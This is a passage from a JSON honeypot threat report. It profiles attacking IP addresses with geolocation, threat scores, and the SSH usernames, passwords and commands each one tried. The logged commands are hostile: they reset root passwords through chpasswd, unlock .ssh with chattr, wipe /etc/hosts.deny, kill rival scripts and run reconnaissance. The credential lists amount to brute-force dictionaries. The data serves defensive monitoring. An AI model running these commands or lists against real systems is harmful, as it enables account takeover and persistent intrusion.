        "345gs5662d34",
        "devuser",
        "shares",
        "ts3",
        "admin",
        "clawd",
        "client",
        "ionadmin",
        "jupyter",
        "km",
        "mailtest",
        "mobiquity",
        "nfe",
        "onlyoffice",
        "simeon",
        "test_user",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123456",
        "112358",
        "123",
        "1234",
        "123z123",
        "2wsxXSW@",
        "Kuanfan@021",
        "MBFFZZKK3D5M",
        "Mihai2024",
        "Minijer.com",
        "Nfe123!",
        "P@ssw0rd@1234",
        "P@ssword123",
        "Qwer123@",
        "Root6666",
        "Web123!@#",
        "abcdn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nzBHRA1xnivG3\\nzBHRA1xnivG3\\n\"|passwd",
        "echo \"123\\nLxHauASYMb8c\\nLxHauASYMb8c\\n\"|passwd",
        "echo \"password\\nwK0f5hg3cAl8\\nwK0f5hg3cAl8\\n\"|passwd",
        "echo \"root:lqQWLfApzPV6\"|chpasswd|bash",
        "echo \"root:xX80v0cjlRHA\"|chpasswd|bash",
        "echo -e \"1234\\nzBHRA1xnivG3\\nzBHRA1xnivG3\"|passwd|bash",
        "echo -e \"123\\nLxHauASYMb8c\\nLxHauASYMb8c\"|passwd|bash",
        "echo -e \"password\\nwK0f5hg3cAl8\\nwK0f5hg3cAl8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 47.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.2,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 662,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T02:06:50.790000+00:00",
        "last_seen_30d": "2026-03-27T00:47:50.433000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 542,
        "Suricata": 120
      }
    },
    "222.108.100.117": {
      "attack_count": 514,
      "first_seen": "2026-03-16T15:14:36.574Z",
      "last_seen": "2026-03-26T11:56:53.810Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "allen",
        "devuser",
        "gm",
        "new",
        "root",
        "tian",
        "tms",
        "admin",
        "amine",
        "apolo",
        "bryan",
        "intell",
        "lorenzo",
        "mukul",
        "radarr",
        "yocto",
        "youssef",
        "yy",
        "zhangliang"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "12345",
        "12345678",
        "13579",
        "Aa112233.",
        "Allen123",
        "Mukul123!",
        "Radarr123!",
        "Yy123",
        "Zhangliang123!",
        "bryanpass",
        "gmpass",
        "intell",
        "newpass",
        "password",
        "tian123!",
        "youssef123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nvPdlfssnRpFq\\nvPdlfssnRpFq\\n\"|passwd",
        "echo \"Allen123\\n8tggJnNuGdWg\\n8tggJnNuGdWg\\n\"|passwd",
        "echo \"gmpass\\n0OwkPp431zsN\\n0OwkPp431zsN\\n\"|passwd",
        "echo \"newpass\\ne8rhIxOwlubV\\ne8rhIxOwlubV\\n\"|passwd",
        "echo \"password\\nKwGJUhbiDZQQ\\nKwGJUhbiDZQQ\\n\"|passwd",
        "echo \"tian123!\\nVCdsawzwmvTP\\nVCdsawzwmvTP\\n\"|passwd",
        "echo -e \"1234\\nvPdlfssnRpFq\\nvPdlfssnRpFq\"|passwd|bash",
        "echo -e \"Allen123\\n8tggJnNuGdWg\\n8tggJnNuGdWg\"|passwd|bash",
        "echo -e \"gmpass\\n0OwkPp431zsN\\n0OwkPp431zsN\"|passwd|bash",
        "echo -e \"newpass\\ne8rhIxOwlubV\\ne8rhIxOwlubV\"|passwd|bash",
        "echo -e \"password\\nKwGJUhbiDZQQ\\nKwGJUhbiDZQQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeongdeungpo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 40.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.7,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 588,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T15:14:36.574000+00:00",
        "last_seen_30d": "2026-03-26T11:57:54.657000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 514,
        "Suricata": 74
      }
    },
    "43.246.139.120": {
      "attack_count": 495,
      "first_seen": "2026-03-02T16:51:57.958Z",
      "last_seen": "2026-03-05T06:23:14.224Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456Q!",
        "1qaz!QAZ1qaz",
        "@wsx3edc",
        "ABCabc123@",
        "ASDasd123",
        "Aa.123456789",
        "Aa@123456",
        "Abcd123!@#",
        "Bi123456",
        "Bingo@1993",
        "Dy123456",
        "Password@1234",
        "Qwerty78",
        "Welkom01",
        "a1231512315",
        "a123qweasd",
        "a374967965",
        "a790"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:9MLCBiTsIzx3\"|chpasswd|bash",
        "echo \"root:FYCSJT7OJWCc\"|chpasswd|bash",
        "echo \"root:K03E7XabsAVO\"|chpasswd|bash",
        "echo \"root:O9PYd1RnPoN7\"|chpasswd|bash",
        "echo \"root:SFw69MQ6llHV\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Coimbatore",
      "asn": 134326,
      "as_org": "Airdesign Broadcast Media Pvt Ltd",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 594,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:51:57.958000+00:00",
        "last_seen_30d": "2026-03-05T06:24:19.767000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 495,
        "Suricata": 99
      }
    },
    "222.98.122.37": {
      "attack_count": 475,
      "first_seen": "2026-03-17T00:35:14.916Z",
      "last_seen": "2026-03-25T22:30:19.413Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "admin",
        "arkserver",
        "casaos",
        "cms",
        "tian",
        "apolo",
        "azureuser",
        "docker",
        "franco",
        "gbase",
        "ghost",
        "jirka",
        "jitendra",
        "linda",
        "louis",
        "lzy",
        "maintainer",
        "mukul",
        "nikhil"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234",
        "12345",
        "123456",
        "Aa123456",
        "Panda",
        "Will",
        "cms123",
        "jitendra1234",
        "maintainerpassword",
        "mukul1234",
        "nikhil123",
        "songpassword",
        "sonic@123456",
        "tian123!",
        "youssef123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nB9uJtRItWQ2t\\nB9uJtRItWQ2t\\n\"|passwd",
        "echo \"123456\\nmTBcHCW99A3g\\nmTBcHCW99A3g\\n\"|passwd",
        "echo \"123\\nfTLs9913G40L\\nfTLs9913G40L\\n\"|passwd",
        "echo \"cms123\\njXd8qxz6vDDj\\njXd8qxz6vDDj\\n\"|passwd",
        "echo \"tian123!\\nKH0WFY5jUY3t\\nKH0WFY5jUY3t\\n\"|passwd",
        "echo -e \"12345678\\nB9uJtRItWQ2t\\nB9uJtRItWQ2t\"|passwd|bash",
        "echo -e \"123456\\nmTBcHCW99A3g\\nmTBcHCW99A3g\"|passwd|bash",
        "echo -e \"123\\nfTLs9913G40L\\nfTLs9913G40L\"|passwd|bash",
        "echo -e \"cms123\\njXd8qxz6vDDj\\njXd8qxz6vDDj\"|passwd|bash",
        "echo -e \"tian123!\\nKH0WFY5jUY3t\\nKH0WFY5jUY3t\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Ansan-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 559,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T00:35:14.916000+00:00",
        "last_seen_30d": "2026-03-25T22:31:26.774000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 475,
        "Suricata": 84
      }
    },
    "101.100.194.181": {
      "attack_count": 454,
      "first_seen": "2026-03-03T11:50:47.460Z",
      "last_seen": "2026-03-19T11:03:44.659Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "jackie",
        "software",
        "appldev",
        "arkserver",
        "cisco",
        "cluster",
        "cyber",
        "db",
        "eva",
        "gianluca",
        "harry",
        "installer",
        "invitado",
        "kevin",
        "keycloak",
        "lek",
        "node",
        "rootadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "123",
        "12345678",
        "123@@@",
        "33",
        "Arkserver123",
        "Bingo@1993",
        "Invitado123",
        "QWEasd123!",
        "QWEasd123456",
        "Rootadmin",
        "Sg123",
        "Test_1234",
        "Tk123456@",
        "Ttt123!",
        "Work123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"jackiejackie\\nFpawP9vfmxhF\\nFpawP9vfmxhF\\n\"|passwd",
        "echo \"root:YKecOOUoum4G\"|chpasswd|bash",
        "echo \"root:ndHHKLUF236J\"|chpasswd|bash",
        "echo \"software\\nWwne7EphSbJz\\nWwne7EphSbJz\\n\"|passwd",
        "echo -e \"jackiejackie\\nFpawP9vfmxhF\\nFpawP9vfmxhF\"|passwd|bash",
        "echo -e \"software\\nWwne7EphSbJz\\nWwne7EphSbJz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 557,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:50:47.460000+00:00",
        "last_seen_30d": "2026-03-19T11:04:48.773000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 454,
        "Suricata": 103
      }
    },
    "129.213.146.221": {
      "attack_count": 429,
      "first_seen": "2026-03-21T03:54:40.695Z",
      "last_seen": "2026-03-29T20:51:40.147Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "search",
        "tanvir",
        "ubuntu",
        "deploy",
        "hasan",
        "toor",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123.123.123",
        "1234",
        "123456",
        "12345678",
        "21vianet",
        "8756",
        "@123456a",
        "Aa@121212",
        "Abc123456",
        "Admin*2026",
        "Hd@123456",
        "Mh123456@",
        "P455w0rd123",
        "P@ss!@#$",
        "Password123",
        "Root111111",
        "alex123",
        "asdfghjkl"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\n66a9N1rjL6H3\\n66a9N1rjL6H3\\n\"|passwd",
        "echo \"root:5ZVh66xVyLbA\"|chpasswd|bash",
        "echo \"root:OvVyrCBtmuR2\"|chpasswd|bash",
        "echo \"tanvirpass\\nNpvb7G0TmuGw\\nNpvb7G0TmuGw\\n\"|passwd",
        "echo -e \"1234\\n66a9N1rjL6H3\\n66a9N1rjL6H3\"|passwd|bash",
        "echo -e \"tanvirpass\\nNpvb7G0TmuGw\\nNpvb7G0TmuGw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 43.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.2,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:54:40.695000+00:00",
        "last_seen_30d": "2026-03-29T20:52:49.397000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 429,
        "Suricata": 93
      }
    },
    "129.226.172.185": {
      "attack_count": 406,
      "first_seen": "2026-03-20T09:24:17.874Z",
      "last_seen": "2026-03-27T12:41:55.196Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "choi",
        "pablo",
        "alpha",
        "amin",
        "erwin",
        "gateway",
        "hsadmin",
        "in",
        "peertube",
        "redhat",
        "shoutcast",
        "steve",
        "syncthing",
        "tms",
        "ubuntu",
        "viewer",
        "was",
        "zjsf"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1029",
        "123",
        "123-123=0",
        "12345",
        "1@3$qWeR",
        "2025.com",
        "Aa.123456",
        "Abc147",
        "Abc_123456",
        "Ct123456",
        "DigitalOcean",
        "Gateway123",
        "Lenovo@123",
        "Pan5202514",
        "Temp123!",
        "Ubuntu1234",
        "ali123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nqFfi1AnpBYdJ\\nqFfi1AnpBYdJ\\n\"|passwd",
        "echo \"pablopass\\nu3PItqaGthxD\\nu3PItqaGthxD\\n\"|passwd",
        "echo \"root:2DSmieAhyCzr\"|chpasswd|bash",
        "echo -e \"12345678\\nqFfi1AnpBYdJ\\nqFfi1AnpBYdJ\"|passwd|bash",
        "echo -e \"pablopass\\nu3PItqaGthxD\\nu3PItqaGthxD\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 39.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 526,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T09:24:17.874000+00:00",
        "last_seen_30d": "2026-03-27T12:42:57.200000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 406,
        "Suricata": 120
      }
    },
    "125.138.175.113": {
      "attack_count": 400,
      "first_seen": "2026-03-19T02:52:54.818Z",
      "last_seen": "2026-03-20T04:15:08.191Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "angelica",
        "ll",
        "rohit",
        "a",
        "aa",
        "admin1",
        "angela",
        "appadmin",
        "bet",
        "cheeki",
        "esuser",
        "git",
        "intell",
        "kodi",
        "mysql",
        "qa",
        "reolink",
        "tecnico"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123ASDasd",
        "Bet",
        "Cheeki123!",
        "M3gaP33!",
        "User123123!",
        "Wow123",
        "a1234",
        "aapass",
        "admin1pass",
        "angelapass",
        "appadminappadmin",
        "esuser123!",
        "intellintell",
        "kodipass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ll1234\\nKzoA4SQV81wk\\nKzoA4SQV81wk\\n\"|passwd",
        "echo \"password\\ntFPcv6CwjqD3\\ntFPcv6CwjqD3\\n\"|passwd",
        "echo \"rohitpassword\\nGXJQNXnhwHVx\\nGXJQNXnhwHVx\\n\"|passwd",
        "echo \"root:pcpidFdDafmf\"|chpasswd|bash",
        "echo -e \"ll1234\\nKzoA4SQV81wk\\nKzoA4SQV81wk\"|passwd|bash",
        "echo -e \"password\\ntFPcv6CwjqD3\\ntFPcv6CwjqD3\"|passwd|bash",
        "echo -e \"rohitpassword\\nGXJQNXnhwHVx\\nGXJQNXnhwHVx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheonan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 476,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T02:52:54.818000+00:00",
        "last_seen_30d": "2026-03-20T04:16:15.463000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 76
      }
    },
    "171.231.180.136": {
      "attack_count": 394,
      "first_seen": "2026-03-31T06:29:34.789Z",
      "last_seen": "2026-03-31T06:57:39.997Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "test",
        "cisco",
        "ubnt",
        "1234",
        "admian",
        "ashish",
        "auto",
        "carol",
        "config",
        "cpanel",
        "db2inst2",
        "guest1",
        "help",
        "helpdesk",
        "kim",
        "linaro",
        "madrid"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "12345",
        "039715582364317",
        "0987654321",
        "1",
        "112233",
        "123",
        "12345678",
        "123456789",
        "72b1bd75ac87852a",
        "@",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin123",
        "administrator"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 42.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 600,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T06:29:34.789000+00:00",
        "last_seen_30d": "2026-03-31T06:58:44.952000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 394,
        "Suricata": 206
      }
    },
    "80.94.92.168": {
      "attack_count": 391,
      "first_seen": "2026-03-02T02:37:01.911Z",
      "last_seen": "2026-03-31T05:26:08.124Z",
      "sessions": 109,
      "ports": [],
      "usernames_attempted": [
        "solana"
      ],
      "passwords_attempted": [
        "solana"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 65.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.8,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 767,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:26:31.656000+00:00",
        "last_seen_30d": "2026-03-31T05:27:15.458000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 391,
        "Suricata": 376
      }
    },
    "1.222.42.237": {
      "attack_count": 356,
      "first_seen": "2026-03-02T02:15:13.910Z",
      "last_seen": "2026-03-25T00:11:58.918Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "mobiquity",
        "zomboid",
        "aman",
        "arthur",
        "docker",
        "maks",
        "michele",
        "modify",
        "nodejs",
        "pepe",
        "rootadmin",
        "runner",
        "tst",
        "ubuntu",
        "viewtinet",
        "vip1",
        "vncuser",
        "yann"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "1234",
        "123456",
        "Admin2023",
        "Asd@12345",
        "Nodejs123",
        "P@ssw0rd",
